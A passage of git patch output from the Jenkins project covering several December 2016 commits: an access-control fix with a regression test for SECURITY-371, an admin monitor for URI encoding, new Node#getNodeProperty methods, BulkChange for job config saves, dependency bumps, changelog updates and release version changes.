.../diagnosis/HudsonHomeDiskUsageMonitor/index.jelly | 2 +- .../hudson/diagnosis/OldDataMonitor/manage.jelly | 2 +- .../diagnosis/HudsonHomeDiskUsageMonitorTest.java | 12 ++++++++++-- 4 files changed, 15 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/AdministrativeMonitor.java b/core/src/main/java/hudson/model/AdministrativeMonitor.java index c43f2dae0d..537f6d092c 100644 --- a/core/src/main/java/hudson/model/AdministrativeMonitor.java +++ b/core/src/main/java/hudson/model/AdministrativeMonitor.java @@ -34,6 +34,8 @@ import java.util.Set; import java.io.IOException; import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; @@ -154,6 +156,7 @@ public abstract class AdministrativeMonitor extends AbstractModelObject implemen /** * Requires ADMINISTER permission for any operation in here. */ + @Restricted(NoExternalUse.class) public Object getTarget() { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); return this; diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly index b752609f48..35988ba363 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly @@ -24,7 +24,7 @@ THE SOFTWARE. - +

                        diff --git a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly index 06c28d21ce..0f73ec6d0f 100644 --- a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly +++ b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly @@ -24,7 +24,7 @@ THE SOFTWARE. - +

                        ${%Manage Old Data}

                        diff --git a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java index 6316a77579..d416b3e451 100644 --- a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java @@ -17,6 +17,7 @@ import jenkins.model.Jenkins; import org.acegisecurity.context.SecurityContextHolder; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import com.gargoylesoftware.htmlunit.html.HtmlPage; @@ -57,6 +58,7 @@ public class HudsonHomeDiskUsageMonitorTest { } } + @Issue("SECURITY-371") @Test public void noAccessForNonAdmin() throws Exception { JenkinsRule.WebClient wc = j.createWebClient(); @@ -64,12 +66,11 @@ public class HudsonHomeDiskUsageMonitorTest { // TODO: Use MockAuthorizationStrategy in later versions JenkinsRule.DummySecurityRealm realm = j.createDummySecurityRealm(); realm.addGroups("administrator", "admins"); - realm.addGroups("alice", "users"); realm.addGroups("bob", "users"); j.jenkins.setSecurityRealm(realm); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); auth.add(Jenkins.ADMINISTER, "admins"); - auth.add(Permission.READ, "users"); + auth.add(Jenkins.READ, "users"); j.jenkins.setAuthorizationStrategy(auth); WebRequest request = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull/act"), HttpMethod.POST); @@ -86,6 +87,13 @@ public class HudsonHomeDiskUsageMonitorTest { } assertTrue(mon.isEnabled()); + try { + WebRequest getIndex = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull"), HttpMethod.GET); + wc.getPage(getIndex); + } catch (FailingHttpStatusCodeException e) { + assertEquals(403, e.getStatusCode()); + } + wc.login("administrator"); wc.getPage(request); assertFalse(mon.isEnabled()); -- GitLab From 7bb4a592d462f30310e0ad82b2fda4fb32321796 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 16 Dec 2016 22:50:37 +0100 Subject: [PATCH 428/712] [FIX JENKINS-39433] Make URI encoding check into admin monitor (#2661) --- .../diagnostics/URICheckEncodingMonitor.java | 42 +++++++++++++++++++ .../AdministrativeMonitorsDecorator.java | 5 +++ core/src/main/java/jenkins/model/Jenkins.java | 39 +++++------------ .../jenkins/diagnostics/Messages.properties | 1 + .../URICheckEncodingMonitor/message.jelly | 16 +++++++ .../jenkins/model/Jenkins/manage.jelly | 13 ------ 6 files changed, 74 insertions(+), 42 deletions(-) create mode 100644 core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java create mode 100644 core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly diff --git a/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java b/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java new file mode 100644 index 0000000000..8b171de6eb --- /dev/null +++ b/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java @@ -0,0 +1,42 @@ +package jenkins.diagnostics; + +import hudson.Extension; +import hudson.model.*; +import hudson.util.FormValidation; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import java.io.IOException; + +import static hudson.Util.fixEmpty; + +@Restricted(NoExternalUse.class) +@Extension +public class URICheckEncodingMonitor extends AdministrativeMonitor { + + public boolean isCheckEnabled() { + return !"ISO-8859-1".equalsIgnoreCase(System.getProperty("file.encoding")); + } + + @Override + public boolean isActivated() { + return true; + } + + @Override + public String getDisplayName() { + return Messages.URICheckEncodingMonitor_DisplayName(); + } + + public FormValidation doCheckURIEncoding(StaplerRequest request) throws IOException { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); + // expected is non-ASCII String + final String expected = "\u57f7\u4e8b"; + final String value = fixEmpty(request.getParameter("value")); + if (!expected.equals(value)) + return FormValidation.warningWithMarkup(hudson.model.Messages.Hudson_NotUsesUTF8ToDecodeURL()); + return FormValidation.ok(); + } +} diff --git a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java index 5d88cf74b9..ff8ea3efa6 100644 --- a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java +++ b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java @@ -31,6 +31,7 @@ import hudson.model.PageDecorator; import hudson.util.HttpResponses; import hudson.util.HudsonIsLoading; import hudson.util.HudsonIsRestarting; +import jenkins.diagnostics.URICheckEncodingMonitor; import jenkins.model.Jenkins; import net.sf.json.JSON; import net.sf.json.JSONObject; @@ -83,6 +84,10 @@ public class AdministrativeMonitorsDecorator extends PageDecorator { // TODO make reverse proxy monitor work when shown on any URL continue; } + if (am instanceof URICheckEncodingMonitor) { + // TODO make URI encoding monitor work when shown on any URL + continue; + } if (am.isEnabled() && am.isActivated()) { active.add(am); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 8ba424fce7..846b78a5bd 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -33,31 +33,11 @@ import com.google.common.collect.Lists; import com.google.inject.Inject; import com.google.inject.Injector; import com.thoughtworks.xstream.XStream; -import hudson.BulkChange; -import hudson.DNSMultiCast; -import hudson.DescriptorExtensionList; -import hudson.Extension; -import hudson.ExtensionComponent; -import hudson.ExtensionFinder; -import hudson.ExtensionList; -import hudson.ExtensionPoint; -import hudson.FilePath; -import hudson.Functions; -import hudson.Launcher; +import hudson.*; import hudson.Launcher.LocalLauncher; -import hudson.Lookup; -import hudson.Main; -import hudson.Plugin; -import hudson.PluginManager; -import hudson.PluginWrapper; -import hudson.ProxyConfiguration; import jenkins.AgentProtocol; +import jenkins.diagnostics.URICheckEncodingMonitor; import jenkins.util.SystemProperties; -import hudson.TcpSlaveAgentListener; -import hudson.UDPBroadcastThread; -import hudson.Util; -import hudson.WebAppMain; -import hudson.XmlFile; import hudson.cli.declarative.CLIMethod; import hudson.cli.declarative.CLIResolver; import hudson.init.InitMilestone; @@ -4455,20 +4435,21 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * Checks if container uses UTF-8 to decode URLs. See * http://wiki.jenkins-ci.org/display/JENKINS/Tomcat#Tomcat-i18n */ + @Restricted(NoExternalUse.class) + @RestrictedSince("since TODO") + @Deprecated public FormValidation doCheckURIEncoding(StaplerRequest request) throws IOException { - // expected is non-ASCII String - final String expected = "\u57f7\u4e8b"; - final String value = fixEmpty(request.getParameter("value")); - if (!expected.equals(value)) - return FormValidation.warningWithMarkup(Messages.Hudson_NotUsesUTF8ToDecodeURL()); - return FormValidation.ok(); + return ExtensionList.lookup(URICheckEncodingMonitor.class).get(0).doCheckURIEncoding(request); } /** * Does not check when system default encoding is "ISO-8859-1". */ + @Restricted(NoExternalUse.class) + @RestrictedSince("since TODO") + @Deprecated public static boolean isCheckURIEncodingEnabled() { - return !"ISO-8859-1".equalsIgnoreCase(System.getProperty("file.encoding")); + return ExtensionList.lookup(URICheckEncodingMonitor.class).get(0).isCheckEnabled(); } /** diff --git a/core/src/main/resources/jenkins/diagnostics/Messages.properties b/core/src/main/resources/jenkins/diagnostics/Messages.properties index 17a3543c56..38362ae234 100644 --- a/core/src/main/resources/jenkins/diagnostics/Messages.properties +++ b/core/src/main/resources/jenkins/diagnostics/Messages.properties @@ -1,2 +1,3 @@ CompletedInitializationMonitor.DisplayName=Jenkins Initialization Monitor SecurityIsOffMonitor.DisplayName=Disabled Security +URICheckEncodingMonitor.DisplayName=Check URI Encoding diff --git a/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly new file mode 100644 index 0000000000..cb5cb59c60 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly @@ -0,0 +1,16 @@ + + + + + + + diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly index 0769b65bd0..63684e446b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly @@ -59,19 +59,6 @@ THE SOFTWARE.

                        ${%Manage Jenkins}

                        - - - - -- GitLab From ef8ddd8a48df04952e59d242e713ff6e05b972c5 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:51:21 +0100 Subject: [PATCH 429/712] [FIXED JENKINS-40362] - Update SSHD Module to 1.9 (#2662) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index c0545ad5ea..0126496fa0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -134,7 +134,7 @@ THE SOFTWARE. org.jenkins-ci.modules sshd - 1.8 + 1.9 org.jenkins-ci.ui -- GitLab From a1258c0009bbdbe1a7de19ce383b5eac8bf4296f Mon Sep 17 00:00:00 2001 From: Markus Winter Date: Fri, 16 Dec 2016 22:52:09 +0100 Subject: [PATCH 430/712] [JENKINS-40365] add Node#getNodeProperty methods (#2663) * [JENKINS-40365] add getNodeProperty methods * implement getNodeProperty in DummySlave * implement getNodeProperty in Node avoid binary imcompatible change dded javadoc * revert Slave.jar to original * fix formatting * more formatting --- core/src/main/java/hudson/model/Node.java | 41 +++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/core/src/main/java/hudson/model/Node.java b/core/src/main/java/hudson/model/Node.java index 54f7910bbe..95c2b3afb5 100644 --- a/core/src/main/java/hudson/model/Node.java +++ b/core/src/main/java/hudson/model/Node.java @@ -451,6 +451,47 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable */ public abstract @Nonnull DescribableList, NodePropertyDescriptor> getNodeProperties(); + /** + * Gets the specified property or null if the property is not configured for this Node. + * + * @param clazz the type of the property + * + * @return null if the property is not configured + * + * @since TODO + */ + @CheckForNull + public T getNodeProperty(Class clazz) + { + for (NodeProperty p: getNodeProperties()) { + if (clazz.isInstance(p)) { + return clazz.cast(p); + } + } + return null; + } + + /** + * Gets the property from the given classname or null if the property + * is not configured for this Node. + * + * @param className The classname of the property + * + * @return null if the property is not configured + * + * @since TODO + */ + @CheckForNull + public NodeProperty getNodeProperty(String className) + { + for (NodeProperty p: getNodeProperties()) { + if (p.getClass().getName().equals(className)) { + return p; + } + } + return null; + } + // used in the Jelly script to expose descriptors public List getNodePropertyDescriptors() { return NodeProperty.for_(this); -- GitLab From a0262d2fec648fe98e83a08f1735394a9f243f4d Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:52:31 +0100 Subject: [PATCH 431/712] [JENKINS-40435] - Use BulkChange when processing config changes in Job#doConfigSubmit. (#2664) When an empty Freestyle job config gets submitted in the default configuration of Jenkins 2.35, the data is being saved to the disk *8 times*. All of them happen in this code: https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Job.java#L1227-L1246 * setDisplayName * Project#getBuildWrappersList().rebuild (onModified handler) * Project#getBuilderList().rebuild (onModified handler) * Project#getPublisherList().rebuild (onModified handler) * AbstractProject#makeDisabled * AbstractProject#setScm * AbstractProject#triggers.replaceBy * final save() There is not so much sense to save partial configurations to the disk due to the risk of data inconsistency there. This change just wraps the config submission section of the job into the BulkChange clause. --- core/src/main/java/hudson/model/Job.java | 35 ++++++++++++------------ 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 9dc1e2752a..88d39ac15f 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1224,26 +1224,27 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); - JSONObject jsonProperties = json.optJSONObject("properties"); - if (jsonProperties != null) { - t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); - } else { - t.clear(); - } - properties.clear(); - for (JobProperty p : t) { - p.setOwner(this); - properties.add(p); - } - - submit(req, rsp); + DescribableList, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); + JSONObject jsonProperties = json.optJSONObject("properties"); + if (jsonProperties != null) { + t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); + } else { + t.clear(); + } + properties.clear(); + for (JobProperty p : t) { + p.setOwner(this); + properties.add(p); + } - save(); + submit(req, rsp); + bc.commit(); + } ItemListener.fireOnUpdated(this); String newName = req.getParameter("name"); -- GitLab From 8634965a4f4833c93cf6f7f368891d7b54e7983f Mon Sep 17 00:00:00 2001 From: bpedersen2 Date: Fri, 16 Dec 2016 22:53:20 +0100 Subject: [PATCH 432/712] [JENKINS-39971] Always display the recheck button in the Plugin Manager (#2668) The re-check updatecenter button should be visible even if there are currently no pending updates. --- .../main/resources/hudson/PluginManager/table.jelly | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index e8c75170b4..7c289a7c82 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -139,18 +139,18 @@ THE SOFTWARE.

                      - -
                      -
                      +
                      +
                      + - + +
                      - -- GitLab From 1c1e9d5d642f9aec2c2484186a275983fc19225e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 00:29:06 +0100 Subject: [PATCH 433/712] Changelog: updates towards 2.37 Noting #2668, #2664, #2663, #2662, #2661, #2667, #2666, #2652, #2643, #2591, #2658, #2645, #2660, #2603 --- changelog.html | 55 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 54 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 4b8502c6fd..5dbaec0e41 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,60 @@ Upcoming changes

                      What's new in 2.36 (2016/12/11)

                      -- GitLab From ef588be4f264b5ba285110f472f031e2bd771c71 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 22:10:53 +0100 Subject: [PATCH 434/712] Update Jenkins remoting to 3.3 (#2671) * JENKINS-25218 - Hardening of FifoBuffer operation logic. The change improves the original fix in `remoting-2.54`. * JENKINS-39547 - Corrupt agent JAR cache causes agents to malfunction. Improvements: * JENKINS-40491 - Improve diagnostincs of the preliminary FifoBuffer termination. * ProxyException now retains any suppressed exceptions. --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index bd0fea81aa..e154336775 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.2 + 3.3 -- GitLab From 49a123c7e507268455c954fd782851e89f30fc25 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 22:32:26 +0100 Subject: [PATCH 435/712] Changelog: Noting #2671 and #2665 towards 2.37 --- changelog.html | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/changelog.html b/changelog.html index 5dbaec0e41..b58ac26028 100644 --- a/changelog.html +++ b/changelog.html @@ -73,6 +73,9 @@ Upcoming changes
                    • Do not report -noCertificateCheck warning to STDOUT. (pull 2666) +
                    • + Improve overall performance of Jenkins by accessing item group elements without sorting where it is possible. + (pull 2665)
                    • Convert URI encoding check on the Manage Jenkins page into admin monitor. (issue 39433) @@ -100,6 +103,21 @@ Upcoming changes Check for Updates button in the Plugin Manager was hidden in the Updates tab when there was no plugins updates available. (issue 40489) +
                    • + Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. + (issue 39547) +
                    • + Remoting 3.3: Improve diagnostics of the preliminary FifoBuffer termination in the JNLP2 protocol. + (issue 40491) +
                    • + Remoting 3.3: Hardening of FifoBuffer operation logic. + The change improves the original fix of + JENKINS-25218. + (remoting pull #100) +
                    • + Remoting 3.3: ProxyException now retains info about suppressed exceptions + when serializing over the channel. + (remoting pull #136)
                    • API: Introduce the new Jenkins#isSubjectToMandatoryReadPermissionCheck(String restOfPath) method for checking access permissions to particular paths. @@ -107,6 +125,9 @@ Upcoming changes
                    • API: Introduce new Node#getNodeProperty() methods for retrieving node properties. (issue 40365) +
                    • + API: Introduce new Items#allItems() methods for accessing items in item groups without sorting overhead. + (issue 40252)
                    • Improved Polish translation. (pull 2643) -- GitLab From e67560843fb8982f17470684c80cb8dccb704e06 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:49:48 -0800 Subject: [PATCH 436/712] [maven-release-plugin] prepare release jenkins-2.37 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index e70857e1b1..4c19c0359c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 cli diff --git a/core/pom.xml b/core/pom.xml index 4c1c49392c..5bb241cf7f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 jenkins-core diff --git a/pom.xml b/pom.xml index e154336775..d47a9925b9 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.37 diff --git a/test/pom.xml b/test/pom.xml index 674c7be7fd..bc23ed8f37 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 test diff --git a/war/pom.xml b/war/pom.xml index 0126496fa0..1a30fdd557 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 jenkins-war -- GitLab From 3a3f32da9daa96df1df6bf9c6b5e93c39faae351 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:49:48 -0800 Subject: [PATCH 437/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4c19c0359c..c16d16e748 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 5bb241cf7f..3d177c3e15 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d47a9925b9..1e96f58882 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.37 + HEAD diff --git a/test/pom.xml b/test/pom.xml index bc23ed8f37..a82e167128 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 1a30fdd557..4c251e823c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT jenkins-war -- GitLab From 50c5a12a91123f01b53c4839d84b227902da037a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:56:57 -0800 Subject: [PATCH 438/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b58ac26028..f33d1041b6 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                      What's new in 2.37 (2016/12/18)

                      • Allow defining agent ping interval and ping timeout in seconds. @@ -132,7 +137,6 @@ Upcoming changes Improved Polish translation. (pull 2643)
                      -

                      What's new in 2.36 (2016/12/11)

                      • -- GitLab From ca8aa7748a6aee08f4b188571abd035d3b0842a8 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 19 Dec 2016 09:20:36 +0100 Subject: [PATCH 439/712] Changelog: fix the wrong link to JENKINS-39971 in 2.37 --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index f33d1041b6..beb6bf8928 100644 --- a/changelog.html +++ b/changelog.html @@ -107,7 +107,7 @@ Upcoming changes
                      • Check for Updates button in the Plugin Manager was hidden in the Updates tab when there was no plugins updates available. - (issue 40489) + (issue 39971)
                      • Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. (issue 39547) -- GitLab From a655611f76645a74e719e8ae6fdfb77605b8ed65 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Mon, 19 Dec 2016 13:34:08 +0100 Subject: [PATCH 440/712] Remove polish trnaslation that sneaked into english one --- .../PluginWrapperAdministrativeMonitor/message.properties | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties index 141be170a2..cbad3bfe78 100644 --- a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties @@ -19,5 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Correct=Napraw Dependency\ errors=There are dependency errors loading some plugins -- GitLab From c3af3becb794b196bbb5486fe22c6375d4f378f5 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:11:00 -0500 Subject: [PATCH 441/712] Making tests fail more meaningfully. --- .../main/java/jenkins/security/ConfidentialStore.java | 6 ++++-- core/src/test/java/hudson/model/TaskActionTest.java | 10 ++++++++-- .../java/jenkins/security/ConfidentialStoreRule.java | 7 ++----- .../test/java/hudson/console/ConsoleAnnotatorTest.java | 4 ++-- 4 files changed, 16 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/jenkins/security/ConfidentialStore.java b/core/src/main/java/jenkins/security/ConfidentialStore.java index 9b3efdbec6..3e8e3b4b4d 100644 --- a/core/src/main/java/jenkins/security/ConfidentialStore.java +++ b/core/src/main/java/jenkins/security/ConfidentialStore.java @@ -61,7 +61,9 @@ public abstract class ConfidentialStore { * Retrieves the currently active singleton instance of {@link ConfidentialStore}. */ public static @Nonnull ConfidentialStore get() { - if (TEST!=null) return TEST.get(); + if (TEST != null) { + return TEST; + } Jenkins j = Jenkins.getInstance(); if (j == null) { @@ -95,7 +97,7 @@ public abstract class ConfidentialStore { /** * Testing only. Used for testing {@link ConfidentialKey} without {@link Jenkins} */ - /*package*/ static ThreadLocal TEST = null; + /*package*/ static ConfidentialStore TEST = null; private static final Logger LOGGER = Logger.getLogger(ConfidentialStore.class.getName()); } diff --git a/core/src/test/java/hudson/model/TaskActionTest.java b/core/src/test/java/hudson/model/TaskActionTest.java index ec31498e07..8b86e0ca93 100644 --- a/core/src/test/java/hudson/model/TaskActionTest.java +++ b/core/src/test/java/hudson/model/TaskActionTest.java @@ -1,13 +1,16 @@ package hudson.model; -import static org.junit.Assert.assertTrue; +import static org.junit.Assert.*; import java.io.ByteArrayOutputStream; import hudson.console.AnnotatedLargeText; import hudson.security.ACL; import hudson.security.Permission; +import jenkins.security.ConfidentialStoreRule; import org.acegisecurity.Authentication; +import static org.hamcrest.CoreMatchers.startsWith; +import org.junit.Rule; import org.junit.Test; /** @@ -15,6 +18,9 @@ import org.junit.Test; */ public class TaskActionTest { + @Rule + public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); + private static class MyTaskThread extends TaskThread { MyTaskThread(TaskAction taskAction) { super(taskAction, ListenerAndText.forMemory(taskAction)); @@ -63,6 +69,6 @@ public class TaskActionTest { } ByteArrayOutputStream os = new ByteArrayOutputStream(); annotatedText.writeLogTo(0, os); - assertTrue(os.toString("UTF-8").startsWith("a linkCompleted")); + assertThat(os.toString("UTF-8"), startsWith("a linkCompleted")); } } diff --git a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java index db46255ba6..c42c8e6b7b 100644 --- a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java +++ b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java @@ -14,16 +14,13 @@ public class ConfidentialStoreRule extends ExternalResource { @Override protected void before() throws Throwable { tmp.create(); - ConfidentialStore.TEST.set(new DefaultConfidentialStore(tmp.getRoot())); + ConfidentialStore.TEST = new DefaultConfidentialStore(tmp.getRoot()); } @Override protected void after() { - ConfidentialStore.TEST.set(null); + ConfidentialStore.TEST = null; tmp.delete(); } - static { - ConfidentialStore.TEST = new ThreadLocal(); - } } diff --git a/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java b/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java index 83827f4860..03de67226c 100644 --- a/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java +++ b/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java @@ -27,6 +27,7 @@ import java.net.URL; import java.util.HashMap; import java.util.Map; import java.util.concurrent.Future; +import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; @@ -117,8 +118,7 @@ public class ConsoleAnnotatorTest { // make sure raw console output doesn't include the garbage TextPage raw = (TextPage)r.createWebClient().goTo(b.getUrl()+"consoleText","text/plain"); - System.out.println(raw.getContent()); - assertTrue(raw.getContent().contains("\nabc\ndef\n")); + assertThat(raw.getContent(), containsString("\nabc\ndef\n")); } -- GitLab From be28bbd9556fea74fdd1b6494e67aff46e6c33ac Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:26:25 -0500 Subject: [PATCH 442/712] Existing tests caught some mistakes. --- .../main/java/hudson/console/ConsoleNote.java | 34 +++++++++++++------ 1 file 